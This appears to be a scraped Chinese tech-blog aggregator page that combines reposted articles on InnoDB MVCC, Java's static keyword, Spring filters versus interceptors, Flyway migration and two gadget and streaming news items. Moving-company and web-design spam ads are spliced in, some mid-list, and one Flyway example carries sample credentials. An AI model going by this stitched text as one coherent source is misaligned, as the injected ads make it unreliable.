數據行要被查詢出來必須滿足兩個條件,

  • 數據行刪除版本號為空或者>當前事務版本號的數據(否則數據已經被標記刪除了)

  • 創建版本號<=當前事務版本號的數據(否則數據是後面的事務創建出來的)

簡單來說,就是查詢時,

  • 如果該行數據沒有被加行鎖中的X鎖(也就是沒有其他事務對這行數據進行修改),那麼直接讀取數據(前提是數據的版本號<=當前事務版本號的數據,不然不會放到查詢結果集裏面)。
  • 該行數據被加了行鎖X鎖(也就是現在有其他事務對這行數據進行修改),那麼讀數據的事務不會進行等待,而是回去undo log端裏面讀之前版本的數據(這裏存儲的數據本身是用於回滾的),在可重複讀的隔離級別下,從undo log中讀取的數據總是事務開始時的快照數據(也就是版本號小於當前事務ID的數據),在提交讀的隔離級別下,從undo log中讀取的總是最新的快照數據。

1.3 補充資料:undo log段是什麼?

undo_log是一種邏輯日誌,是舊數據的備份。有兩個作用,用於事務回滾和為MVCC提供老版本的數據。

可以認為當delete一條記錄時,undo log中會記錄一條對應的insert記錄,反之亦然,當update一條記錄時,它記錄一條對應相反的update記錄。

1.3.1.用於事務回滾

當事務執行失敗,回退時,會讀取這行數據的滾動指針(指向undo log中用於事務回滾的日誌記錄),就可以在undo log中找到相應的邏輯記錄,讀取到相應的回滾語句,執行進行回滾。

1.3.2.為MVCC提供老版本的數據

當讀取的某一行被其他事務鎖定時(也就是有其他事務正在改這行數據),它可以從undo log中分析出該行記錄以前的數據是什麼,從而提供該行版本信息,讓用戶進行快照讀。在可重複讀的隔離級別下,從undo log中讀取的數據總是事務開始時的快照數據(也就是版本號小於當前事務ID的數據),在提交讀的隔離級別下,從undo log中讀取的總是最新的快照數據(也就是比正在修改這行數據的事務ID修改前的數據。)。

實時讀

2.1實時讀是什麼?

如果說快照讀總是讀取事務開始時那個狀態的數據,實時讀就是查詢時總是執行這個查詢時數據庫中的數據。

一般使用以下這兩種查詢語句進行查詢時就是實時讀。

SELECT *** FOR UPDATE 在查詢時會先申請X鎖SELECT *** IN SHARE MODE 在查詢時會先申請S鎖

首先看一個實時讀產生幻讀的案例:

這是《MySQL技術內幕++InnoDB存儲引擎++第2版》裏面的一張圖,就是先將隔離級別設置為提交讀,這樣第一次執行 SELECT...FOR UPDATE查詢出來的數據是a:4,事務B插入了一條新的數據,再次執行 SELECT...FOR UPDATE語句時,查詢出來就是a:4,a:5兩條數據,這就是幻讀的問題。

2.1那麼innodb是怎麼解決實時讀的幻讀問題的?

如果我們不在一開始將將隔離級別設置為提交讀,其實是不會產生幻讀問題的,因為MySQL的默認隔離級別是可重複讀,在這種情況下,我們執行第一次 SELECT...FOR UPDATE查詢語句是,其實是會先申請行鎖,因為一開始數據庫就只有a:4一行數據,那麼加鎖區間其實是

(負無窮,4](4,正無窮)

我們查詢條件是a>2,上面兩個加鎖區間都會可能有數據滿足條件,所以會申請行鎖中的next-key lock,是會對上面這兩個區間都加鎖,這樣其他事務不能往這兩個區間插入數據,事務B會執行插入時會一直等待獲取鎖,直到事務A提交,釋放行鎖,事務B才有可能申請到鎖,然後進行插入。這樣就解決了幻讀問題。

如果大家對行鎖了解得比較少,下一期會對innodb中的鎖進行介紹。

最後

大家有什麼想法,可以一起討論!本文已收錄到1.1K Star數開源學習指南——《大廠面試指北》,如果想要了解更多大廠面試相關的內容,了解更多可以看
http://notfound9.github.io/interviewGuide/#/docs/BATInterview

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※超省錢租車方案

商務出差、學生出遊、旅遊渡假、臨時用車!GO 神州租賃有限公司!合法經營、合法連鎖、合法租賃小客車!

面試官:兄弟,說說Java的static關鍵字吧_包裝設計

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網動廣告出品的網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上她。

讀者乙在上一篇我去系列文章里留言說,“我盲猜下一篇標題是,‘我去,你竟然不知道 static 關鍵字’”。我只能說乙猜對了一半,像我這麼有才華的博主,怎麼可能被讀者猜中了心思呢,必須搞點不一樣的啊,所以本篇文章的標題你看到了。

七年前,我從美女很多的蘇州回到美女也不少的洛陽,抱着一幅“從二線城市退居三線城市”的心態,投了不少簡歷,也“約談”了不少面試官,但僅有兩三個令我感到滿意。其中有一位叫老馬,至今還活在我的微信通訊錄里。他當時扔了一個面試題把我砸懵了:“兄弟,說說 Java 的 static 關鍵字吧。

我那時候二十三歲,正值青春年華,自認為所有的面試題都能對答如流,結果沒想到啊,被“刁難”了——原來洛陽這塊互聯網的荒漠也有技術專家啊。現在回想起來,臉上不自覺地泛起了羞愧的紅暈:主要是自己當時太菜了。

不管怎麼說,經過多年的努力,我現在的技術功底已經非常紮實了,有能力寫篇文章剖析一下 Java 的 static 關鍵字了——只要能給初學者一些參考,我就覺得非常滿足。

先來個提綱挈領(唉呀媽呀,成語區博主上線了)吧:

static 關鍵字可用於變量、方法、代碼塊和內部類,表示某個特定的成員只屬於某個類本身,而不是該類的某個對象。

01、靜態變量

靜態變量也叫類變量,它屬於一個類,而不是這個類的對象。

public class Writer {
    private String name;
    private int age;
    public static int countOfWriters;

    public Writer(String name, int age) {
        this.name = name;
        this.age = age;
        countOfWriters++;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

其中,countOfWriters 被稱為靜態變量,它有別於 name 和 age 這兩個成員變量,因為它前面多了一個修飾符 static

這意味着無論這個類被初始化多少次,靜態變量的值都會在所有類的對象中共享。

Writer w1 = new Writer("沉默王二",18);
Writer w2 = new Writer("沉默王三",16);

System.out.println(Writer.countOfWriters);

按照上面的邏輯,你應該能推理得出,countOfWriters 的值此時應該為 2 而不是 1。從內存的角度來看,靜態變量將會存儲在 Java 虛擬機中一個名叫“Metaspace”(元空間,Java 8 之後)的特定池中。

靜態變量和成員變量有着很大的不同,成員變量的值屬於某個對象,不同的對象之間,值是不共享的;但靜態變量不是的,它可以用來統計對象的數量,因為它是共享的。就像上面例子中的 countOfWriters,創建一個對象的時候,它的值為 1,創建兩個對象的時候,它的值就為 2。

簡單小結一下:

1)由於靜態變量屬於一個類,所以不要通過對象引用來訪問,而應該直接通過類名來訪問;

2)不需要初始化類就可以訪問靜態變量。

public class WriterDemo {
    public static void main(String[] args) {
        System.out.println(Writer.countOfWriters); // 輸出 0
    }
}

02、靜態方法

靜態方法也叫類方法,它和靜態變量類似,屬於一個類,而不是這個類的對象。

public static void setCountOfWriters(int countOfWriters) {
    Writer.countOfWriters = countOfWriters;
}

setCountOfWriters() 就是一個靜態方法,它由 static 關鍵字修飾。

如果你用過 java.lang.Math 類或者 Apache 的一些工具類(比如說 StringUtils)的話,對靜態方法一定不會感動陌生。

Math 類的幾乎所有方法都是靜態的,可以直接通過類名來調用,不需要創建類的對象。

簡單小結一下:

1)Java 中的靜態方法在編譯時解析,因為靜態方法不能被重寫(方法重寫發生在運行時階段,為了多態)。

2)抽象方法不能是靜態的。

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

上新台中搬家公司提供您一套專業有效率且人性化的辦公室搬遷、公司行號搬家及工廠遷廠的搬家服務

3)靜態方法不能使用 this 和 super 關鍵字。

4)成員方法可以直接訪問其他成員方法和成員變量。

5)成員方法也可以直接方法靜態方法和靜態變量。

6)靜態方法可以訪問所有其他靜態方法和靜態變量。

7)靜態方法無法直接訪問成員方法和成員變量。

03、靜態代碼塊

靜態代碼塊可以用來初始化靜態變量,儘管靜態方法也可以在聲明的時候直接初始化,但有些時候,我們需要多行代碼來完成初始化。

public class StaticBlockDemo {
    public static List<String> writes = new ArrayList<>();

    static {
        writes.add("沉默王二");
        writes.add("沉默王三");
        writes.add("沉默王四");

        System.out.println("第一塊");
    }

    static {
        writes.add("沉默王五");
        writes.add("沉默王六");

        System.out.println("第二塊");
    }
}

writes 是一個靜態的 ArrayList,所以不太可能在聲明的時候完成初始化,因此需要在靜態代碼塊中完成初始化。

簡單小結一下:

1)一個類可以有多個靜態代碼塊。

2)靜態代碼塊的解析和執行順序和它在類中的位置保持一致。為了驗證這個結論,可以在 StaticBlockDemo 類中加入空的 main 方法,執行完的結果如下所示:

第一塊
第二塊

04、靜態內部類

Java 允許我們在一個類中聲明一個內部類,它提供了一種令人信服的方式,允許我們只在一個地方使用一些變量,使代碼更具有條理性和可讀性。

常見的內部類有四種,成員內部類、局部內部類、匿名內部類和靜態內部類,限於篇幅原因,前三種不在我們本次文章的討論範圍,以後有機會再細說。

public class Singleton {
    private Singleton() {}

    private static class SingletonHolder {
        public static final Singleton instance = new Singleton();
    }

    public static Singleton getInstance() {
        return SingletonHolder.instance;
    }
}

以上這段代碼是不是特別熟悉,對,這就是創建單例的一種方式,第一次加載 Singleton 類時並不會初始化 instance,只有第一次調用 getInstance() 方法時 Java 虛擬機才開始加載 SingletonHolder 並初始化 instance,這樣不僅能確保線程安全也能保證 Singleton 類的唯一性。不過,創建單例更優雅的一種方式是使用枚舉。

簡單小結一下:

1)靜態內部類不能訪問外部類的所有成員變量。

2)靜態內部類可以訪問外部類的所有靜態變量,包括私有靜態變量。

3)外部類不能聲明為 static。

學到了吧?學到就是賺到。

我是沉默王二,一枚有趣的程序員。如果覺得文章對你有點幫助,請微信搜索「 沉默王二 」第一時間閱讀,回復【666】更有我為你精心準備的 500G 高清教學視頻(已分門別類)。

本文 GitHub 已經收錄,有大廠面試完整考點,歡迎 Star。

原創不易,莫要白票,請你為本文點個贊吧,這將是我寫作更多優質文章的最強動力。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※產品缺大量曝光嗎?你需要的是一流包裝設計!

窩窩觸角包含自媒體、自有平台及其他國家營銷業務等,多角化經營並具有國際觀的永續理念。

過濾器 和 攔截器 6個區別,別再傻傻分不清了_台中搬家

台中搬家公司費用怎麼算?

擁有20年純熟搬遷經驗,提供免費估價且流程透明更是5星評價的搬家公司

本文收錄在個人博客:www.chengxy-nds.top,技術資料共享,同進步

周末有個小夥伴加我微信,向我請教了一個問題:老哥,過濾器 (Filter) 和 攔截器 (Interceptor) 有啥區別啊? 聽到題目我的第一感覺就是:簡單

畢竟這兩種工具開發中用到的頻率都相當高,應用起來也是比較簡單的,可當我準備回復他的時候,竟然不知道從哪說起,支支吾吾了半天,場面炒雞尷尬有木有,工作這麼久一個基礎問題答成這樣,丟了大人了。

平時覺得簡單的知識點,但通常都不會太關注細節,一旦被別人問起來,反倒說不出個所以然來。

歸根結底,還是對這些知識了解的不夠,一直停留在會用的階段,以至於現在一看就會一說就廢!這是典型基礎不紮實的表現,哎·~,其實我也就是個虛胖!

知恥而後勇,下邊結合實踐,更直觀的來感受一下兩者到底有什麼不同?

準備環境

我們在項目中同時配置 攔截器過濾器

1、過濾器 (Filter)

過濾器的配置比較簡單,直接實現Filter 接口即可,也可以通過@WebFilter註解實現對特定URL攔截,看到Filter 接口中定義了三個方法。

  • init() :該方法在容器啟動初始化過濾器時被調用,它在 Filter 的整個生命周期只會被調用一次。注意:這個方法必須執行成功,否則過濾器會不起作用。

  • doFilter() :容器中的每一次請求都會調用該方法, FilterChain 用來調用下一個過濾器 Filter

  • destroy(): 當容器銷毀 過濾器實例時調用該方法,一般在方法中銷毀或關閉資源,在過濾器 Filter 的整個生命周期也只會被調用一次

@Component
public class MyFilter implements Filter {
    
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

        System.out.println("Filter 前置");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

        System.out.println("Filter 處理中");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

        System.out.println("Filter 後置");
    }
}

2、攔截器 (Interceptor)

攔截器它是鏈式調用,一個應用中可以同時存在多個攔截器Interceptor, 一個請求也可以觸發多個攔截器 ,而每個攔截器的調用會依據它的聲明順序依次執行。

首先編寫一個簡單的攔截器處理類,請求的攔截是通過HandlerInterceptor 來實現,看到HandlerInterceptor 接口中也定義了三個方法。

  • preHandle() :這個方法將在請求處理之前進行調用。注意:如果該方法的返回值為false ,將視為當前請求結束,不僅自身的攔截器會失效,還會導致其他的攔截器也不再執行。

  • postHandle():只有在 preHandle() 方法返回值為true 時才會執行。會在Controller 中的方法調用之後,DispatcherServlet 返回渲染視圖之前被調用。 有意思的是postHandle() 方法被調用的順序跟 preHandle() 是相反的,先聲明的攔截器 preHandle() 方法先執行,而postHandle()方法反而會後執行。

  • afterCompletion():只有在 preHandle() 方法返回值為true 時才會執行。在整個請求結束之後, DispatcherServlet 渲染了對應的視圖之後執行。

@Component
public class MyInterceptor implements HandlerInterceptor {

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {

        System.out.println("Interceptor 前置");
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {

        System.out.println("Interceptor 處理中");
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {

        System.out.println("Interceptor 後置");
    }
}

將自定義好的攔截器處理類進行註冊,並通過addPathPatternsexcludePathPatterns等屬性設置需要攔截或需要排除的 URL

@Configuration
public class MyMvcConfig implements WebMvcConfigurer {

    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new MyInterceptor()).addPathPatterns("/**");
        registry.addInterceptor(new MyInterceptor1()).addPathPatterns("/**");
    }
}

我們不一樣

過濾器 和 攔截器 均體現了AOP的編程思想,都可以實現諸如日誌記錄、登錄鑒權等功能,但二者的不同點也是比較多的,接下來一一說明。

1、實現原理不同

過濾器和攔截器 底層實現方式大不相同,過濾器 是基於函數回調的,攔截器 則是基於Java的反射機制(動態代理)實現的。

這裏重點說下過濾器!

在我們自定義的過濾器中都會實現一個 doFilter()方法,這個方法有一個FilterChain 參數,而實際上它是一個回調接口。ApplicationFilterChain是它的實現類, 這個實現類內部也有一個 doFilter() 方法就是回調方法。

public interface FilterChain {
    void doFilter(ServletRequest var1, ServletResponse var2) throws IOException, ServletException;
}

ApplicationFilterChain裏面能拿到我們自定義的xxxFilter類,在其內部回調方法doFilter()里調用各個自定義xxxFilter過濾器,並執行 doFilter() 方法。

public final class ApplicationFilterChain implements FilterChain {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response) {
            ...//省略
            internalDoFilter(request,response);
    }
 
    private void internalDoFilter(ServletRequest request, ServletResponse response){
    if (pos < n) {
            //獲取第pos個filter    
            ApplicationFilterConfig filterConfig = filters[pos++];        
            Filter filter = filterConfig.getFilter();
            ...
            filter.doFilter(request, response, this);
        }
    }
 
}

而每個xxxFilter 會先執行自身的 doFilter() 過濾邏輯,最後在執行結束前會執行filterChain.doFilter(servletRequest, servletResponse),也就是回調ApplicationFilterChaindoFilter() 方法,以此循環執行實現函數回調。

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

        filterChain.doFilter(servletRequest, servletResponse);
    }

2、使用範圍不同

我們看到過濾器 實現的是 javax.servlet.Filter 接口,而這個接口是在Servlet規範中定義的,也就是說過濾器Filter 的使用要依賴於Tomcat等容器,導致它只能在web程序中使用。

而攔截器(Interceptor) 它是一個Spring組件,並由Spring容器管理,並不依賴Tomcat等容器,是可以單獨使用的。不僅能應用在web程序中,也可以用於ApplicationSwing等程序中。

3、觸發時機不同

過濾器攔截器的觸發時機也不同,我們看下邊這張圖。

台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

台中搬家公司推薦超過30年經驗,首選台中大展搬家

過濾器Filter是在請求進入容器后,但在進入servlet之前進行預處理,請求結束是在servlet處理完以後。

攔截器 Interceptor 是在請求進入servlet后,在進入Controller之前進行預處理的,Controller 中渲染了對應的視圖之後請求結束。

4、攔截的請求範圍不同

在上邊我們已經同時配置了過濾器和攔截器,再建一個Controller接收請求測試一下。

@Controller
@RequestMapping()
public class Test {

    @RequestMapping("/test1")
    @ResponseBody
    public String test1(String a) {
        System.out.println("我是controller");
        return null;
    }
}

項目啟動過程中發現,過濾器的init()方法,隨着容器的啟動進行了初始化。

此時瀏覽器發送請求,F12 看到居然有兩個請求,一個是我們自定義的 Controller 請求,另一個是訪問靜態圖標資源的請求。

看到控制台的打印日誌如下:

執行順序 :Filter 處理中 -> Interceptor 前置 -> 我是controller -> Interceptor 處理中 -> Interceptor 處理后

Filter 處理中
Interceptor 前置
Interceptor 處理中
Interceptor 後置
Filter 處理中

過濾器Filter執行了兩次,攔截器Interceptor只執行了一次。這是因為過濾器幾乎可以對所有進入容器的請求起作用,而攔截器只會對Controller中請求或訪問static目錄下的資源請求起作用。

5、注入Bean情況不同

在實際的業務場景中,應用到過濾器或攔截器,為處理業務邏輯難免會引入一些service服務。

下邊我們分別在過濾器和攔截器中都注入service,看看有什麼不同?

@Component
public class TestServiceImpl implements TestService {

    @Override
    public void a() {
        System.out.println("我是方法A");
    }
}

過濾器中注入service,發起請求測試一下 ,日誌正常打印出“我是方法A”

@Autowired
    private TestService testService;

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

        System.out.println("Filter 處理中");
        testService.a();
        filterChain.doFilter(servletRequest, servletResponse);
    }
Filter 處理中
我是方法A
Interceptor 前置
我是controller
Interceptor 處理中
Interceptor 後置

在攔截器中注入service,發起請求測試一下 ,竟然TM的報錯了,debug跟一下發現注入的service怎麼是Null啊?

這是因為加載順序導致的問題,攔截器加載的時間點在springcontext之前,而Bean又是由spring進行管理。

攔截器:老子今天要進洞房;
Spring:兄弟別鬧,你媳婦我還沒生出來呢!

解決方案也很簡單,我們在註冊攔截器之前,先將Interceptor 手動進行注入。注意:在registry.addInterceptor()註冊的是getMyInterceptor() 實例。

@Configuration
public class MyMvcConfig implements WebMvcConfigurer {

    @Bean
    public MyInterceptor getMyInterceptor(){
        System.out.println("注入了MyInterceptor");
        return new MyInterceptor();
    }
    
    @Override
    public void addInterceptors(InterceptorRegistry registry) {

        registry.addInterceptor(getMyInterceptor()).addPathPatterns("/**");
    }
}

6、控制執行順序不同

實際開發過程中,會出現多個過濾器或攔截器同時存在的情況,不過,有時我們希望某個過濾器或攔截器能優先執行,就涉及到它們的執行順序。

過濾器用@Order註解控制執行順序,通過@Order控制過濾器的級別,值越小級別越高越先執行。

@Order(Ordered.HIGHEST_PRECEDENCE)
@Component
public class MyFilter2 implements Filter {

攔截器默認的執行順序,就是它的註冊順序,也可以通過Order手動設置控制,值越小越先執行。

 @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new MyInterceptor2()).addPathPatterns("/**").order(2);
        registry.addInterceptor(new MyInterceptor1()).addPathPatterns("/**").order(1);
        registry.addInterceptor(new MyInterceptor()).addPathPatterns("/**").order(3);
    }

看到輸出結果發現,先聲明的攔截器 preHandle() 方法先執行,而postHandle()方法反而會後執行。

postHandle() 方法被調用的順序跟 preHandle() 居然是相反的!如果實際開發中嚴格要求執行順序,那就需要特別注意這一點。

Interceptor1 前置
Interceptor2 前置
Interceptor 前置
我是controller
Interceptor 處理中
Interceptor2 處理中
Interceptor1 處理中
Interceptor 後置
Interceptor2 處理后
Interceptor1 處理后

那為什麼會這樣呢? 得到答案就只能看源碼了,我們要知道controller 中所有的請求都要經過核心組件DispatcherServlet路由,都會執行它的 doDispatch() 方法,而攔截器postHandle()preHandle()方法便是在其中調用的。

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
    
        try {
         ...........
            try {
           
                // 獲取可以執行當前Handler的適配器
                HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());

                // Process last-modified header, if supported by the handler.
                String method = request.getMethod();
                boolean isGet = "GET".equals(method);
                if (isGet || "HEAD".equals(method)) {
                    long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
                    if (logger.isDebugEnabled()) {
                        logger.debug("Last-Modified value for [" + getRequestUri(request) + "] is: " + lastModified);
                    }
                    if (new ServletWebRequest(request, response).checkNotModified(lastModified) && isGet) {
                        return;
                    }
                }
                // 注意: 執行Interceptor中PreHandle()方法
                if (!mappedHandler.applyPreHandle(processedRequest, response)) {
                    return;
                }

                // 注意:執行Handle【包括我們的業務邏輯,當拋出異常時會被Try、catch到】
                mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

                if (asyncManager.isConcurrentHandlingStarted()) {
                    return;
                }
                applyDefaultViewName(processedRequest, mv);

                // 注意:執行Interceptor中PostHandle 方法【拋出異常時無法執行】
                mappedHandler.applyPostHandle(processedRequest, response, mv);
            }
        }
        ...........
    }

看看兩個方法applyPreHandle()applyPostHandle()具體是如何被調用的,就明白為什麼postHandle()preHandle() 執行順序是相反的了。

boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
        HandlerInterceptor[] interceptors = this.getInterceptors();
        if(!ObjectUtils.isEmpty(interceptors)) {
            for(int i = 0; i < interceptors.length; this.interceptorIndex = i++) {
                HandlerInterceptor interceptor = interceptors[i];
                if(!interceptor.preHandle(request, response, this.handler)) {
                    this.triggerAfterCompletion(request, response, (Exception)null);
                    return false;
                }
            }
        }

        return true;
    }
void applyPostHandle(HttpServletRequest request, HttpServletResponse response, @Nullable ModelAndView mv) throws Exception {
        HandlerInterceptor[] interceptors = this.getInterceptors();
        if(!ObjectUtils.isEmpty(interceptors)) {
            for(int i = interceptors.length - 1; i >= 0; --i) {
                HandlerInterceptor interceptor = interceptors[i];
                interceptor.postHandle(request, response, this.handler, mv);
            }
        }
    }

發現兩個方法中在調用攔截器數組 HandlerInterceptor[] 時,循環的順序竟然是相反的。。。,導致postHandle()preHandle() 方法執行的順序相反。

總結

我相信大部分人都能熟練使用濾器和攔截器,但兩者的差別還是需要多了解下,不然開發中使用不當,時不時就會出現奇奇怪怪的問題,以上內容比較簡單,新手學習老鳥複習,有遺漏的地方還望大家积極補充,如有理解錯誤之處,還望不吝賜教。

原創不易,燃燒秀髮輸出內容

整理了幾百本各類技術电子書, 送給小夥伴們, 我的同名公眾號自行領取。和一些小夥伴們建了一個技術交流群,一起探討技術、分享技術資料,旨在共同學習進步,如果感興趣就加入我們吧!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

台中搬家公司費用怎麼算?

擁有20年純熟搬遷經驗,提供免費估價且流程透明更是5星評價的搬家公司

SpringBoot整合Flyway(數據庫版本遷移工具)_台中搬家公司

※推薦台中搬家公司優質服務,可到府估價

台中搬鋼琴,台中金庫搬運,中部廢棄物處理,南投縣搬家公司,好幫手搬家,西屯區搬家

簡介

在團隊開發當中,有可能每個人都是使用自己本地的數據庫。當數據庫的表或者字段更新時,往往需要告知團隊的其他同事進行更新。
Flyway數據庫版本遷移工具,目的就是解決該問題而誕生的(我自己想的)。每當我們更新數據庫的時候,只需要添加SQL文件到指定目錄中。Flyway會在數據庫創建一個表,專門記錄已更新的SQL文件。當我們下次執行時則不會執行已記錄並且執行成功的SQL文件。

整合

maven

現在的Flyway的最新版本已經到了6.4.2。我用的是6.3.3

<!-- https://mvnrepository.com/artifact/org.flywaydb/flyway-core -->
<dependency>
    <groupId>org.flywaydb</groupId>
    <artifactId>flyway-core</artifactId>
    <version>6.3.3</version>
</dependency>

application配置

搞定了Flyway的依賴后,修改一下SpringBoot的application.ymlapplication.xml配置。

spring:
  flyway:
    url: jdbc:mysql://192.168.138.132:3306/hotel-server?useUnicode=true&characterEncoding=UTF-8 
    user: johnson 
    password: 123456 
    table: flyway_schema_history
    enabled: true
    locations: classpath:db/migration
    clean-disabled: false

flyway配置詳解

url:連接數據庫的Url 默認為spring.datasource.url
user:連接數據庫的賬號 默認為spring.datasource.username
password:連接數據庫的密碼 默認為spring.datasource.password
table:自定義數據庫版本管理表 默認為 flyway_schema_history
enabled:是否開啟 默認為開啟
locations:SQL文件存放路徑 默認 classpath:db/migration

SQL文件

上面的locations參數配置的SQL文件存放路徑為 classpath:db/migrationclasspath對應的目錄就是resources目錄,創建后的目錄如下圖:

台中搬家公司教你幾個打包小技巧,輕鬆整理裝箱!

還在煩惱搬家費用要多少哪?台中大展搬家線上試算搬家費用,從此不再擔心「物品怎麼計費」、「多少車才能裝完」

SQL文件如上圖,SQL文件名必須為V1.0.x__xxx.sql注意:這裏的下劃線為兩個_,我也是掉坑了才知道),這樣可以對應SQL更新的版本號。啟動了SpringBoot項目后,就會自動幫你執行SQL文件,可以看到數據庫版本控製表中生成的數據:

clean操作

Flyway的clean操作:徹底清除已配置的架構,它將有效地為您提供一個全新的起點。所有對象(表,視圖,過程等)都將被刪除。

spring:
  flyway:
    clean-on-validation-error: true
    clean-disabled: false

clean-on-validation-error:發生驗證的錯誤時是否執行clean操作(如SQL執行失敗),默認false,生產中必須使用false。
clean-disabled:是否禁用clean操作,默認false,生產中必須使用true

如果我們設置 clean-on-validation-error = trueclean-disabled = false
當我們的SQL文件執行失敗,在數據庫版本控製表flyway_schema_history會添加一條失敗的記錄,success字段為0,此時並不會執行clean操作。
當把SQL文件修改正確並執行完后,此時flyway_schema_history會把失敗記錄的success字段由0改為1。並且會執行clean操作!!!!!整個數據庫的表裡面的數據都被清空了!(除非你在SQL文件中添加了insert操作)
其實在開發環境我也是不建議使用clean,畢竟填數據也是要時間的。。。

總結

團隊開發當中的必備工具啊!不過生產環境當中記得把clean-disabled改為true

個人博客網址: https://colablog.cn/

如果我的文章幫助到您,可以關注我的微信公眾號,第一時間分享文章給您

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※推薦台中搬家公司優質服務,可到府估價

台中搬鋼琴,台中金庫搬運,中部廢棄物處理,南投縣搬家公司,好幫手搬家,西屯區搬家

記錄片串流服務 Documentary+ 推出,超過 150 部免費線上觀看_網頁設計公司

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

串流影音平台百家爭鳴,不管是電影、劇集、動畫,都能夠在用戶訂閱後利用串流方式來觀賞,也成為許多人休閒時光的消遣方式。近日一個專注於非電影類內容的平台 Documentary+ 上線推出了,希望能夠在競爭激烈中,成功在喜愛觀賞記錄片的人群中殺出一片紅海。

記錄片串流服務 Documentary+ 推出,超過 150 部免費線上觀看

Documentary+ 這個服務是由 Tony Hsieh(最近甫過世的前 Zappos 首席執行長)與 XTR 工作室合作的專案,並且由多位知名導演和電影製作人共同推出。一推出,該服務即有相當多樣化類別可供觀眾選擇,包括政治、體育、喜劇、音樂與真實犯罪,另外還有許多其他類型的記錄片,並且著重於高質感內容,一上線就有超過 150 部影片可供選擇觀賞。
【前往 Documentary+,點這裡】

Documentary+ 的創始人之一、XTR 首席執行長表示,平台上所有影片都是擁有合法授權,隨著影片的下架與新影片的推出,影片庫將隨著時間變化而變化,目的是為了讓整個服務始終保持個人化與高度規劃,就如同記錄片世界中的標準平台一樣。這項服務可以在電腦網頁、行動裝置、Apple TV、Amazon與 Roku 中觀看,目前為了能擴大使用族群採完全免費制且尚未有計劃推出無廣告版本,但未來若需求充足,該服務不排除討論無廣告套餐服務的可能。

雖說這個免費平台看起來相當強大,但 Documentary+ 目前還得面對相當多的競爭對手,包括 Netflix、HBO Max、Discovery+ 和 Hulu 都有自家產品,而像 Kanopy 和 CuriosityStream 這樣的服務也都有相當可觀的影片資源,不過這大多數服務都是需要按月收取訂閱費用(Kanopy 除外)。現階段免費提供服務,或許能夠在疫情期間為大家打發掉在家不出門的空閒,這時間點或許能夠幫助讓 Documentary+成為用戶訂閱付費服務外的重要備選,可惜的是目前該平台影片沒有字幕,更沒有中文字幕啊!

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

◎資料來源:Gizmodo

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

小米隔空充電技術正式發表:手持也能隔空充電,「真」無線充電時代來臨!_如何寫文案

※別再煩惱如何寫文案,掌握八大原則!

什麼是銷售文案服務?A就是幫你撰寫適合的廣告文案。當您需要販售商品、宣傳活動、建立個人品牌,撰寫廣告文案都是必須的工作。

近年,無論是有線快充或者擺放在無線充電器,各手機品牌陸續展示更快的充電技術。然而有線充電雖然速度最快,不過必須將手機透過充電線與充電器的連接,在充電期間若想繼續使用手機,就得被線材限制行動範圍。而目前的無線充電技術,則得將手機擺放在無線充電器的充電區域才能充電。
稍早小米也正式發表自研的「隔空充電技術」,如同科幻電影一樣未來使用者即便拿著手機在客廳,也能直接隔空為手機進行充電。

小米隔空充電技術正式發表:手持也能隔空充電,「真」無線充電時代來臨!

即便目前的「無線充電技術」讓使用者能將支援無線充電技術的手機擺放在無線充電器的充電感應區進行充電,對於多數人而言已經相當方便,但終究還是得將手機限制在特定的充電位置,對於「無線」的真正定義還是差了那麼一步的感覺。
稍早小米正式發表的「隔空充電技術」也將是未來充電的趨勢。用戶將不需要任何充電線、充電底座,無論是將手機拿在手上、放在口袋,只要在特定範圍內都能實現自動隔空充電。

